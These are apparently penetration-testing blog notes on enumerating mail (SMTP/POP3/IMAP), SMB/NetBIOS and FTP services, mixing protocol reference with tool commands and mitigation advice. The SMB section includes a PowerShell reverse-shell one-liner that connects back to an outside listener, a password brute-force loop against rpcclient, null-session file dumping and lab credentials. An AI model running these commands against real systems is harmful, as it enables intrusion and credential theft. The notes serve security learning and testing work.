by Vry4n_ | Apr 17, 2020 | Active Gathering
SMTP is an application layer protocol. The client who wants to send the mail opens a TCP connection to the SMTP server and then sends the mail across the connection. The SMTP server is always on listening mode. As soon as it listens for a TCP connection from any client, the SMTP process initiates a connection on that port (25). After successfully establishing the TCP connection the client process sends the mail instantly.
Using a process called "store and forward," SMTP moves your email on and across networks. It works closely with something called the Mail Transfer Agent (MTA) to send your communication to the right computer and email inbox.
How this works
- First, an e-mail server uses SMTP to send a message from an e-mail client, such as Outlook or Gmail, to an e-mail server.
- Second, the e-mail server uses SMTP as a relay service to send the e-mail to the receiving e-mail server.
- Third, the receiving server uses an e-mail client to download incoming mail via IMAP and place it in the inbox of the recipient.

SMTP vs IMAP vs POP3
- SMTP is used to send, relay or forward messages from a mail client, but cannot retrieve messages. Uses port 25, also could use 587 and 465 for TLS
- IMAP is an e-mail protocol that deals with managing and retrieving e-mail messages, used in receiving emails, not sending them. Uses port 143 or 993 for TLS
- POP3 is used to retrieve messages from an email server to a mail client, uses port 110, 995 for TLS

SMTP Commands
Command |
Meaning |
Example |
HELO |
Specify your domain name so that the mail server knows who you are. |
HELO vk9security.com |
MAIL |
Specify the sender email. |
MAIL FROM: <example@vk9security.com> |
RCPT |
Specify the recipient. Issue this command multiple times if you have more than one recipient. |
RCPT TO: <example2@vk9security.com> |
DATA |
Issue this command before sending the body of the message. The message body must end with the following five letter sequence: “\r\n.\r\n.” |
|
QUIT |
Terminates the conversation with the server. |
|
EXPN |
Specify that your recipient is a mailing list. |
|
HELP |
Asks for help from the mail server. |
|
NOOP |
Does nothing except to get a response from the server. |
|
RSET |
Aborts the current conversation and start a new conversation. |
|
SEND |
Sends a message to a user’s terminal instead of a mailbox. |
|
SAML |
Sends a message to a user’s terminal and to a user’s mailbox. |
|
SOML |
Sends a message to a user’s terminal if they are logged on; otherwise, sends the message to the user’s mailbox. |
|
TURN |
Reverses the role of client and server. This might be useful if the client program can also act as a server and needs to receive mail from the remote computer. |
|
VRFY |
Verifies that a particular user name of a given mail address exists. Not supported by all mail servers. |
|
SMTP Responses
Code |
Meaning |
211 |
System status or system help reply. |
214 |
Help message. |
220 |
Server is ready. |
221 |
Server transmission ending. |
250 |
Requested mail action okay, completed. |
251 |
Specified user is not local, but the server will forward the mail message. |
354 |
This is a reply to the DATA command. After getting this, start sending the body of the mail message, ending with “\r\n.\r\n.” |
421 |
The mail service is unavailable. Try again later. |
450 |
The recipient mailbox is busy. Try again later. |
451 |
The requested action was not done. Some error occurred in the mail server. |
452 |
The requested action was not done. The mail server ran out of system storage. |
500 |
The last command contained a syntax error or the command line was too long. |
501 |
The parameters or arguments in the last command contained a syntax error. |
502 |
The mail server has not implemented the last command. |
503 |
The last command was sent out of sequence. For example, you might have sent DATA before sending RECV. |
504 |
One of the parameters of the last command has not been implemented by the server. |
550 |
The recipient mailbox is not found, no access, or command rejected for policy reasons |
551 |
The specified user is not local; part of the text of the message will contain a forwarding address. |
552 |
The recipient mailbox is full. Try again later. |
553 |
The mail address that you specified was not syntactically correct. |
554 |
The mail transaction has encountered unknown errors. |
POP3 commands
Command |
Comment |
|
USER |
Your user name for this mail server |
USER Stan
+OK Please enter a password |
PASS |
Your password. |
PASS SeCrEt
+OK valid logon |
QUIT |
End your session. |
QUIT
+OK Bye-bye. |
STAT |
Number and total size of all messages |
STAT
+OK 2 320 |
LIST |
Message# and size of message |
LIST
+OK 2 messages (320 octets)
1 120
2 200
…
LIST 2
+OK 2 200 |
RETR message# |
Retrieve selected message |
RETR 1
+OK 120 octets follow.
*** |
DELE message# |
Delete selected message |
DELE 2
+OK message deleted |
NOOP |
No-op. Keeps you connection open. |
NOOP
+OK |
RSET |
Reset the mailbox. Undelete deleted messages. |
RSET
+OK maildrop has 2 messages (320 octets) |
TOP [message] [number] |
Returns the headers and number of lines from the message |
TOP 1 10
+OK
*** |
IMAP Commands
Command |
Description |
Usage |
APPEND |
Appends the literal argument as a new message to the end of the specified destination mailbox. |
Yes |
AUTHENTICATE |
Indicates a Simple Authentication and Security Layer (SASL) authentication mechanism to the server. |
Yes |
CAPABILITY |
Requests a listing of capabilities that the server supports. |
Yes |
CHECK |
Requests a checkpoint of the currently selected mailbox. |
No |
CLOSE |
Permanently removes all messages that have the \Deleted flag set from the currently selected mailbox, and returns to the authenticated state from the selected state. |
No |
COPY/UID COPY |
Copies the specified message(s) to the end of the specified destination mailbox. |
Yes |
CREATE |
Creates a mailbox with the given name. |
Yes |
DELETE |
Permanently removes the mailbox with the given name. |
No |
EXAMINE |
Identical to SELECT and returns the same output; however, the selected mailbox is identified as read-only. |
Yes |
EXPUNGE |
Permanently removes all messages that have the \Deleted flag set from the currently selected mailbox. |
Yes |
FETCH/UID FETCH |
Retrieves data associated with a message in the mailbox. |
Yes |
UID |
Unique identifier. |
Yes |
LIST |
Returns a subset of names from the complete set of all names available to the client. |
Yes |
LOGIN |
Identifies the client to the server and carries the plaintext password authenticating this user. |
Yes |
LOGOUT |
Informs the server that the client is done with the connection. |
No |
LSUB |
Returns a subset of names from the set of names that the user has declared as being “active” or “subscribed”. |
Yes |
NOOP |
Does nothing. It always succeeds. |
Yes |
RENAME |
Changes the name of a mailbox. |
No |
SEARCH |
Searches the mailbox for messages that match the given searching criteria. |
Yes |
SELECT |
Selects a mailbox so that messages in the mailbox can be accessed. |
Yes |
STORE |
Alters data associated with a message in the mailbox. |
Yes |
SUBSCRIBE |
Adds the specified mailbox name to the server’s set of “active” or “subscribed” mailboxes as returned by the LSUB command. |
No |
UNSUBSCRIBE |
Removes the specified mailbox name from the server’s set of “active” or “subscribed” mailboxes as returned by the LSUB command. |
No |
IMAP vs POP3 comparison
Login |
Exactly equiv |
No POP parameter for IMAP |
VerifyID |
Exactly equiv |
|
Delete |
Exactly equiv |
IMAP commands delete in real time. POP3 waits for POP3_Logout to remove messages permanently. IMAP_SetFlags with \Deleted flag allows you to obtain the same result as the POP3_Delete command |
Logout |
Exactly equiv |
|
SetPrefs |
Exactly equiv |
No attachFolder for IMAP, POP3 attachFolder has become optional |
GetPrefs |
Exactly equiv |
See attachFolder note in SetPrefs |
MsgLstInfo |
Exactly equiv |
|
MsgInfo |
Exactly equiv |
|
MsgLst |
Exactly equiv |
|
UIDToMsgNum |
Exactly equiv |
IMAP msgUID is a Longint, POP3 msgUID is a string |
Download |
Exactly equiv |
|
POP3_Reset |
No direct equiv |
Need combination of IMAP_Search on \Deleted flags and IMAP_SetFlags to remove the \Deleted flag |
POP3_BoxInfo |
No direct equiv |
Need combination of IMAP_SetCurrentMB &IMAP_MsgLstInfo commands |
IMAP_ MsgNumToUID |
No direct equiv |
|
GetMessage |
Almost Equiv |
IMAP is more powerful since it allows you to choose one additional msgPart which is "only body" |
POP3_Charset |
No Equiv |
IMAP automatically manages charset |
IMAP_Capability |
No Equiv |
Specific to IMAP protocol |
IMAP_ListMBs |
No Equiv |
Specific to IMAP protocol |
IMAP_GetMBStatus |
No Equiv |
Specific to IMAP protocol |
IMAP_SetCurrentMB |
No Equiv |
Specific to IMAP protocol |
IMAP_GetCurrentMB |
No Equiv |
Specific to IMAP protocol |
IMAP_CloseCurrentMB |
No Equiv |
Specific to IMAP protocol |
IMAP_CopyToMB |
No Equiv |
Specific to IMAP protocol |
IMAP_SubscribeMB |
No Equiv |
Specific to IMAP protocol |
IMAP_CreateMB |
No Equiv |
Specific to IMAP protocol |
IMAP_DeleteMB |
No Equiv |
Specific to IMAP protocol |
IMAP_RenameMB |
No Equiv |
Specific to IMAP protocol |
IMAP_SetFlags |
No Equiv |
Specific to IMAP protocol |
IMAP_GetFlags |
No Equiv |
Specific to IMAP protocol |
IMAP_Search |
No Equiv |
Specific to IMAP protocol |
IMAP_MsgFetch |
No Equiv |
Specific to IMAP protocol |
Example of SMTP conversation
===========================================
220 mx1.example.com ESMTP Postfix
HELO vk9security.com
250 mx1.vk9security.com
MAIL FROM:<example@vk9security.com >
250 2.1.0 Ok
RCPT TO:<example2@vk9security.com >
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
This is a test message.
.
250 2.0.0 Ok: queued as 4227FE00C
QUIT
221 2.0.0 Bye
===========================================
Enumeration
POP3
Telnet
1. Connect to the server via telnet

2. Enumerate users
+OK = exists
-ERR = doesn’t exist
- USER billydean
- USER vry4n

3. If you got credentials you could access and read emails, since, POP3 is designed to retrieve emails
USER = username
PASS = password
- USER mindy
- PASS Password3

4. List Emails in this profile & read any

5. Check for number and size of messages

Nmap
1. Enumerate Domains
- nmap -p 110,995 --script pop3-ntlm-info 10.10.10.51

2. Display what commands are allowed
- nmap -p 110,995 --script pop3-capabilities 10.10.10.51

SMTP
Telnet
1. Access the service, in this case we care even displayed the domain

2. Verify if an email account exists
Pass = If you received a message code 250,251,252 which means the server has accepted the request and user account is valid.
Fail = if you received a message code 550 it means invalid user account
- vrfy root
- vrfy vry4n
- vrfy msfadmin
- vrfy msfadmin@metasploitable.localdomain

Metasploit
1. Enumerate the service version, and, grab banner
- use auxiliary/scanner/smtp/smtp_version
- show options
- set RHOST 192.168.0.7
- exploit

2. Enumerate users using a list
- use auxiliary/scanner/smtp/smtp_enum
- show options
- set RHOST 192.168.0.7
- exploit
- <optional> set USER_FILE new_list.txt

3.Detect an open relay
- use auxiliary/scanner/smtp/smtp_relay
- show options
- set MAILFROM root@metasploitable.localdomain
- set MAILTO msfadmin@metasploitable.localdomain
- set RHOST 192.168.0.7
- exploit

smtp-user-enum
1. Download the app

2. Display help menu

3. Enumerate users using VRFY method
-M mode = Method to use for username guessing EXPN, VRFY or RCPT (default: VRFY)
- ./smtp-user-enum.pl -M VRFY -u msfadmin -t 192.168.0.7

4. Enumerate users using a list
- ./smtp-user-enum.pl -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

5. Verify user email address, and domain
- ./smtp-user-enum.pl -M VRFY -D metasploitable.localdomain -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.0.7

ISMTP
1. Download the application

2. Display basic help

3. Validate email addresses using a list from a file
-e <file> = Enable SMTP user enumeration testing and imports email list.
-h <host> = The target IP and port (IP:port).
- python iSMTP.py -e email_list.txt -h 192.168.0.7

4. Using a specific method
-l <1|2|3> = Specifies enumeration type (1 = VRFY, 2 = RCPT TO, 3 = all).
- python iSMTP.py -e email_list.txt -l 2 -h 192.168.0.7

IMAP
Telnel or open SSL
1. Connect to the service using Telnet (unsecure 143) or openssl (secure 993)
- openssl s_client -crlf -connect 10.10.10.120:993
- ncat --ssl 10.10.10.120 993
- telnet 10.10.10.120 143

2. Knowing credentials you can log in
https://tools.ietf.org/html/rfc3501
https://busylog.net/telnet-imap-commands-note/
- A001 login ayush jiujitsu

3. Testing wrong credentials

4. You can connect to the IMAP service using an email client like thunderbird to retrieve emails. You could also do it from the CLI

Here we can see 3 folders Drafts, Sent, Inbox
5. Choose one of those

6. Open emails

nmap
1. Run scripts to have a little more insight
- nmap -p 143,993 --script imap-capabilities,imap-ntlm-info 10.10.10.120

Metasploit
1. Grab version and banner
- use auxiliary/scanner/imap/imap_version
- show options
- set RHOSTS 10.10.10.120
- exploit

by Vry4n_ | Apr 17, 2020 | Active Gathering
Vulnerabilities in SMB Shares are Medium risk vulnerability that is one of the most frequently found on networks around the world. This issue has been around since at least 1990 but has proven either difficult to detect, difficult to resolve or prone to being overlooked entirely.
Things that might be interesting:
- check for null session
- listing of shares
- domain info
- password policy
- RID cycling output
Default shares are C$, ADMIN$, IPC$
Working ports below:
- Port 135 – Remote Procedure Call (RPC)
- Port 137 – NetBIOS Name Service
- Port 138 – NetBIOS Datagram Service
- Port 139 – NetBIOS Session Service
Information that can be gained includes (but not limited to):
- Users and groups / shares
- Operating system information
- Password policies / Password hashes
- Privileges / Permissions
- Available shares
OS targets:
- Windows server before 2003, 2008, 2012, 2016
- Older Unix and Linux hosts
Before going more deeper, it's very important to understand services we are targeting i.e NETBIOS. NETBIOS provides three distinct services:
- Session service (NetBIOS-SSN) for connection-oriented communication.
- Name Service (NETBIOS-NS) for name registration and resolution.
- Datagram distribution service (NetBIOS-DGM) for connectionless communication.
From above three services, we only going to focus on first two of them i.e NetBIOS-SSN & NETBIOS-NS
Session service (NetBIOS-SSN)
- Session mode lets two computers establish a connection, allows messages to span multiple packets, and provides error detection and recovery. In NBT (Netbios over TCP/IP), the session service runs on TCP port 139.
Name Service (NetBIOS-NS)
- In order to start sessions or distribute datagrams, an application must register its NetBIOS name using the name service.
- NetBIOS names are 16 octets in length and vary based on the particular implementation.
- The name service operates on UDP port 137 (TCP port 137 can also be used, but rarely is).
SAMBA
- Samba is a free software re-implementation of the SMB/CIFS networking protocol, and was originally developed by Andrew Tridgell.
- Samba provides file and print services.
- Samba runs on most Unix, OpenVMS and Unix-like systems, such as Linux, Solaris, AIX and the BSD variants, including Apple's OS X Server, and OS X client (version 10.2 and greater).
- The name Samba comes from SMB (Server Message Block), the name of the standard protocol used by the Microsoft Windows network file system.

Enumeration
Metasploit
All these are modules that can help scan SMB
1. Identify SMB1 version
- use auxiliary/scanner/smb/smb1
- set RHOST 192.168.0.10
- set RPORT 139
- exploit

2. Identifies SMB2
- use auxiliary/scanner/smb/smb2
- set RHOST 192.168.0.10
- set RPORT 139
- exploit

3. Enumerate Shares
- auxiliary/scanner/smb/smb_enumshares
- set RHOST 192.168.0.10
- set RPORT 139
- exploit

4. Enumerate users (can set a list of users and passwords to test)
- auxiliary/scanner/smb/smb_enumusers
- set RHOST 192.168.0.10
- set RPORT 139
- exploit
- show options

These are additional modules that can be used for further enumeration
- auxiliary/scanner/smb/smb_login
- auxiliary/scanner/smb/smb_lookupsid
- auxiliary/scanner/smb/smb_ms17_010
- auxiliary/scanner/smb/smb_uninit_cred
- auxiliary/scanner/smb/smb_version
- auxiliary/scanner/smb/smb_enum_gpp
- auxiliary/scanner/smb/smb_enumusers_domain
Nmap
1. Basic SMB enumeration scripts
- nmap -p 139, 445 --script smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-services,smb-enum-sessions,smb-enum-shares,smb-enum-users 192.168.0.10
- nmap --script smb-enum* -p 139,445 192.168.0.10

2. Scanning for known vulnerabilities
- nmap -p 139, 445 --script smb-vuln-conficker,smb-vuln-cve-2017-7494,smb-vuln-cve2009-3103,smb-vuln-ms06-025,smb-vuln-ms07-029,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-vuln-regsvc-dos,smb-vuln-webexec 192.168.0.10
- nmap --script smb-vuln* -p 139,445 192.168.0.10

3. Host information
- nmap -p 139, 445 --script smb-os-discovery,smb-protocols,smb-psexec,smb-security-mode,smb-server-stats,smb-system-info 192.168.0.10

4. Scan for SMB2
nmap -p 139, 445 --script smb2-capabilities,smb2-security-mode,smb2-time,smb2-vuln-uptime 192.168.0.10
nmblookup
NetBIOS over TCP/IP client used to lookup NetBIOS names
-A, --lookup-by-ip = Do a node status on <name> as an IP Address
- nmblookup -A 192.168.0.10

smbmap
SMB enumeration tool
1. Enumerate Shares
-H HOST = IP of host
-P PORT = SMB port (default 445)
- smbmap -H 192.168.0.10
- smbmap -P 139 -H 192.168.0.10

2. Enumerate host OS
-v = Return the OS version of the remote host
- smbmap -v -P 139 -H 192.168.0.10

3. Do recursive enumeration of directories and files based on a shares
-r [PATH] = List contents of directory, default is to list root of all shares, ex. -r 'C$\Documents'
- smbmap -r 'kathy' -P 139 -H 192.168.0.10

-R [PATH] = Recursively list dirs, and files (no share\path lists ALL shares), ex. 'C$\Finance'
- smbmap -R 'kathy' -P 139 -H 192.168.0.10

4. Only show READ/WRITE directories
-q = Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search
- smbmap -P 139 -H 192.168.0.10 -q

5. Display help menu

6. Download files from a share
--download PATH = Download a file from the remote system, ex.'C$\temp\passwords.txt'
- smbmap -R ‘tmp’ -P 139 -H 192.168.0.10
- smbmap -P 139 -H 192.168.0.10 --download 'tmp\ls'
- ls -l 192.168.0.10-tmp_ls
- cat 192.168.0.10-tmp_ls

7. Upload a file to a share, need write access
--upload SRC DST = Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe'
- smbmap -P 139 -H 192.168.0.10 --upload "test.txt" 'tmp\test.txt'
- smbmap -R 'tmp' -P 139 -H 192.168.0.10

8. Delete files
--delete PATH TO FILE = Delete a remote file, ex. 'C$\temp\msf.exe'
- smbmap -P 139 -H 192.168.0.10 --delete 'tmp\test.txt'
- smbmap -R 'tmp' -P 139 -H 192.168.0.10

9. You can use User credentials to check on the shares
-u USERNAME = Username, if omitted null session assumed
-p PASSWORD = Password or NTLM hash
- smbmap -u SHayslett -p SHayslett -H 192.168.0.10 -P 139

10 You can execute systems commands
-x COMMAND = Execute a command ex. 'ipconfig /all'
- smbmap -x 'ifconfig' -H 192.168.0.10
11. Specify a domain and share
-s SHARE = Specify a share (default C$), ex 'C$'
-d DOMAIN = Domain name (default WORKGROUP)
- smbmap -d WORKGROUP -s kathy -H 192.168.0.10
12. Reverse shell
- smbmap -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
enum4linux
Enum4linux is a tool for enumerating information from Windows and Samba systems.
1. Display basic help

2. Basic command to run all the scripts
-a = Do all simple enumeration (-U -S -G -P -r -o -n -i)
- enum4linux -a 192.168.0.10

3. You can specify a username and password if you know one
-u user specify username to use (default "")
-p pass specify password to use (default "")
- enum4linux -u user -p password 192.168.0.10
4. Check to see if a user exists on the system
-k user = User(s) that exists on remote system (default: administrator,guest,krbtgt,domain,admins,root,bin,none)
- enum4linux -k Ronaldo 192.168.0.10
nbtscan
This is a command utility that tries to scan NetBIOS name servers open on a local or remote TCP/IP network and because it is a first step in finding open shares.
1. Basic help

2. Basic scan, it can be an IP or a network range

3. Use local port 137 for scans
-r use local port 137 for scans. Win95 boxes respond to this only.
rpcclient
rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself
1. Display basic help

2. Stablish a null session, only available in SMB1
-N, --no-pass = Don't ask for a password
- rpcclient -U “” -N 192.168.0.10

3. Having a communication you can enumerate more than you think




4. Using credentials can help explore more than what null session provides
- rpcclient -U james 10.10.10.52
- <Password> - J@m3s_P@ssW0rd!

5. Enumerate users (RID)


- lookupnames administrator

6. Enumerate groups (RID)





7. Enumerate credentials


8. You can also try to brutefoce by running a command, and test passwords, we know that min_password_length is 7 char
Success
- rpcclient -U james -c "getusername;quit" 10.10.10.52
- rpcclient -U james%J@m3s_P@ssW0rd! -c "getusername;quit" 10.10.10.52

Failure
- rpcclient -U james -c "getusername;quit" 10.10.10.52

Bash script
1. This script will go through a password list and test the rpcclient command until it guesses the password, then writes a file named password_result.txt with the actual hit

for i in `cat pass.txt`; do
if rpcclient -U "james%$i" -c "getusername;quit" 10.10.10.52; then
echo "$i" > password_result.txt
echo "[+] The password is $1 and has been saved in password_result.txt"
fi
done
2. Create a wordlist

3. Run the script

4. Read the result

smbclient
1. Display help

2. Connect
- smbclient -L \\10.10.10.100

3. Null session
- smbclient \\\\10.10.10.100\\ipc$
- help

4. Log in as anonymous
- smbclient -L //10.10.10.100/myshare -U anonymous
nullinux
Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB.
If no username and password are provided in the command line arguments, an anonymous login, or null session, is attempted.
https://github.com/m8r0wn/nullinux
1. Download the tool
- git clone https://github.com/m8r0wn/nullinux.git

2. Run the install script
- cd nullinux
- ls
- sudo bash setup.sh

3. Install python modules (in this case I needed ipparser)
- sudo pip3 install ipparser

4. Run the tool, help menu
-h, --help = show this help message and exit

5. Basic scan
- python3 nullinux.py 10.10.10.100

6. Using Credentials can give us more information
-u USERNAME, -U USERNAME
-p PASSWORD, -P PASSWORD
- python3 nullinux.py -u james -p J@m3s_P@ssW0rd! 10.10.10.52

Bonus
SMB - Null Session
Net BIOS null Sessions occurs when you connect any remote system without user-name and password. It is usually found in systems with Common Internet File System (CIFS) or Server Message Block (SMB) depending on operating system.
By default null sessions are enabled in Windows 2000 and Windows NT. Actually it is also enabled by default in Windows XP and Windows 2003 Server but they don’t allow enumeration of user accounts.
Null session functionality within the SMB protocol, Null Sessions are a ‘feature’ of Windows allowing an anonymous user to connect to the IPC$ share and enumerate certain information.
Some of these shares allow one to access the complete storage device on remote systems. For example, C$ will allow one to access the C Drive. Another share, Admin$, allows one to access the Windows installation directory. Folders followed by “$” are hidden.
IPC$ is a special share that is used to facilitate inter-process communication (IPC). That is, it doesn’t allow one to access files or directories like other shares, but rather allows one to communicate with processes running on the remote system.
Connect
Windows:
- net use \\IP_ADDRESS\ipc$ "" /user:""
- net use \\192.168.23.1\ipc$ /u:”” “”
- <enter>
- net use
- net view \\192.168.1.1
Linux:
- rpcclient -U "" IP_ADDRESS
- <enter>
or
- smbclient -L //<IP ADDRESS>
- <enter>

- smbclient //10.10.10.100/Replication
- recurse ON
- prompt OFF
- mget *

This one is used to download all the files from the share, when anonymous log in is enabled.

As an example you could get Groups.xml (deprecated on newer windows 2012, 2016)

gpp-decrypt is used against the hash
smbmap
1. SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands.

2. Use SMB client to login to the file share that you show any permission READ/WRITE, use a fake user if it fails to connect

- smbmap -u <any user> -H <IP ADDRESS>

3. This one below shows recursive listing. Letting us through the share files.
- smbmap -R <Replication> -H 10.10.10.100 -A <Groups.xml> -q
- smbmap -R -H 10.10.10.100

4. This one is for finding a file, if matches, it downloads it.
- smbmap -d active.htb -u svc_tgs -p GPPstillStandingStrong2k18 -H 10.10.10.100

Using credentials, we may find more permissions.
While connected here are some interesting commands:
‘enumdomusers’, ‘netshareenum’, ‘netshareenumall’, ‘querydominfo’, “netsharegetinfo”, “srvinfo”, “getdompwinfo”, “enumdomgroups”, “querygroup”, “queryuser”, “lookupnames”, “queryaliasmem”, “querygroupmem”, “lookupsids”
Mounting the share to reveal the contents:
1. Create a directory to mount
2. mount it
- mount -t cifs //<IP ADDRESS>/Backups /mnt/smb
- <enter>
3. show it mounted

Tools
Getacct: https://packetstormsecurity.com/search/files/?q=GetAcct
1. rpcbind
2. net use (windows)
3. enum4linux
4. nmap
5. nbtstat (windows)
6. Nmblookup
7. metasploit
(alternatives)
1. Winfo: http://www.ntsecurity.nu/toolbox/winfo/
- Windows domain to which the system belongs
- Security policy settings
- Local usernames
- Drive shares
2. DumpSec: https://www.systemtools.com/somarsoft/index.html
3. Netusers: https://www.systemtools.com/cgi-bin/download.pl?NetUsers
- Abused account privileges
- Users currently logged into the system
4. RID_ENUM: https://github.com/trustedsec/ridenum
Solution
This vulnerability can be mitigated by setting the DWORD value ‘RestrictAnonymous’ to 1 in HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA
Block NetBIOS on your Windows server by preventing these TCP ports from passing through your network firewall or personal firewall:
- 139 (NetBIOS sessions services)
- 445 (runs SMB over TCP/IP without NetBIOS)
Disable File and Printer Sharing for Microsoft Networks in the Properties tab of the machine’s network connection for those systems that don’t need it.
Docs
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-allow-localsystem-null-session-fallback
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-anonymous-access-to-named-pipes-and-shares
https://www.beyondsecurity.com/scan_pentest_network_vulnerabilities_null_session_availablesmb
https://sensepost.com/blog/2018/a-new-look-at-null-sessions-and-user-enumeration/
by Vry4n_ | Apr 15, 2020 | Active Gathering
FTP is a method to access and share files on the internet. The protocol is a way to communicate between computers on a TCP/IP network, FTP is a TCP based service exclusively and it is a client-server protocol where a client will communicate with a server.
"File Transfer Protocol," can transfer files between any computers that have an Inter communication, and also works between computers using totally different operating systems.
Anonymous FTP is a type of FTP that allows users to access files and other data without needing an ID or password.
- Transferring files from a client computer to a server computer is called "uploading"
- Transferring from a server to a client is "downloading"
How does it work
There are two distinct communication channels while establishing an FTP connection.
- Port 21: The first one is called the command channel where it initiates the instruction and response.
- Port 20: The other one is called a data channel, where the distribution of data happens. The confusion begins however, when we find that depending on the mode, the data port is not always on port 20.
Types of FTP communication
he FTP server may support Active or Passive connections or both. Most FTP client programs select passive connection mode by default because server administrators prefer it as a safety measure. Firewalls generally block connections that are "initiated" from the outside. Using passive mode, the FTP client (like Auto FTP Manager) is "reaching out" to the server to make the connection. The firewall will allow these outgoing connections, meaning that no special adjustments to firewall settings are required.
Active
Active FTP connection, the client opens a port and listens and the server actively connects to it.
command: client >1023 (to ->) server 21
data: client >1023 (<- to) server 20
- In active mode FTP the client connects from a random unprivileged port (N > 1023) to the FTP server's command port, port 21.
- Then, the client starts listening to port N+1 and sends the FTP command PORT N+1 to the FTP server.
- The server will then connect back to the client's specified data port from its local data port, which is port 20.

From the server-side firewall's standpoint, to support active mode FTP the following communication channels need to be opened:
- FTP server's port 21 from anywhere (Client initiates connection)
- FTP server's port 21 to ports > 1023 (Server responds to client's control port)
- FTP server's port 20 to ports > 1023 (Server initiates data connection to client's data port)
- FTP server's port 20 from ports > 1023 (Client sends ACKs to server's data port)

Passive
Passive FTP connection, the server opens a port and listens (passively) and the client connects to it. You must grant Auto FTP Manager access to the Internet and to choose the right type of FTP Connection Mode
command: client >1023 (to ->) server 21
data: client >1024 (to ->) server >1023
- In passive mode FTP the client initiates both connections to the server, solving the problem of firewalls filtering the incoming data port connection to the client from the server.
- When opening an FTP connection, the client opens two random unprivileged ports locally (N > 1023 and N+1). The first port contacts the server on port 21, but instead of then issuing a PORT command and allowing the server to connect back to its data port, the client will issue the PASV command.
- The result of this is that the server then opens a random unprivileged port (P > 1023) and sends P back to the client in response to the PASV command. The client then initiates the connection from port N+1 to port P on the server to transfer data.
From the server-side firewall's standpoint, to support passive mode FTP the following communication channels need to be opened:
- FTP server's port 21 from anywhere (Client initiates connection)
- FTP server's port 21 to ports > 1023 (Server responds to client's control port)
- FTP server's ports > 1023 from anywhere (Client initiates data connection to random port specified by server)
- FTP server's ports > 1023 to remote ports > 1023 (Server sends ACKs (and data) to client's data port)

FTP command table
Task
|
DOS Command
|
Notes
|
Change user password on a site
|
Literal SITE PSWD oldpassword newpassword
|
"Literal" sends a command line to the remote FTP connection and executes the SITE PSWD command.
|
Connect to the specified FTP host on the specified port
|
open [host] [port]
|
For example, type:
open myftpsite.com 21
|
Navigate to a different directory on remote machine
|
cd [directory]
|
For example, type:
cd M:\InetPub\EFTRoot\MySite\Usr\jbug
|
Change to parent directory
|
cdup
|
Same as cd ..\
|
Changes directory on local machine
|
lcd [path]
|
For example, type lcd c:\temp.
|
Displays a list of files and folders in the current remote directory
|
dir [path]
ls [directory] [localfile]
|
For example, type:
dir M:\InetPub\EFTRoot\MySite\Usr\jbug
or
ls M:\InetPub\EFTRoot\MySite\Usr\jbug C:\temp\contents.txt
|
Creates a directory on the remote file system
|
mkdir [name]
|
For example, to create a folder into which you will upload your graphics files, type:
mkdir images
|
Copies a file from the local to the remote computer
|
put [filename.ext]
|
To upload the file with a different name, use
put oldfilename.ext newfilename.ext
|
Copies multiple files from the local to the remote computer
|
mput [files]
|
Puts multiple files; *.* puts all files; *.txt puts all .txt files, my_*.* puts all files that start with my_ with any extension.
|
Copies a file from the remote to the local computer
|
get [filename.ext]
|
For example, type:
get dog.jpg
|
Copies multiple files from the remote to the local computer
|
mget [files]
|
Gets multiple files; *.* gets all files; *.txt gets all .txt files, my_*.* gets all files that start with my_ with any extension.
|
Deletes a file
|
delete [filename.ext]
|
For example, type:
delete dog.jpg
|
Renames a file
|
rename [filename] [filename]
|
For example, to rename a picture of your dog, Pooh Bear, type:
rename dog.jpg PoohBear.jpg
|
Removes a directory on the remote computer
|
rmdir [name]
|
For example, type:
rmdir olddogpics
|
List current working directory
|
pwd
|
Use when you forget which directory you are in or if you want to copy the path
|
Close connection
|
bye (or quit)
|
Disconnect from remove FTP server
|
List of available commands or help for a specific command
|
help
help [command]
? [command]
|
help by itself lists available FTP commands; help [command] or ? [command] provides help for the specific command
|
Change transfer mode to ASCII
|
ascii
|
Used for HTML and text files
|
Change transfer mode to binary
|
binary
|
Used for graphics, compressed files, audio clips, etc.
|
Displays current transfer mode (ASCII or binary)
|
status
|
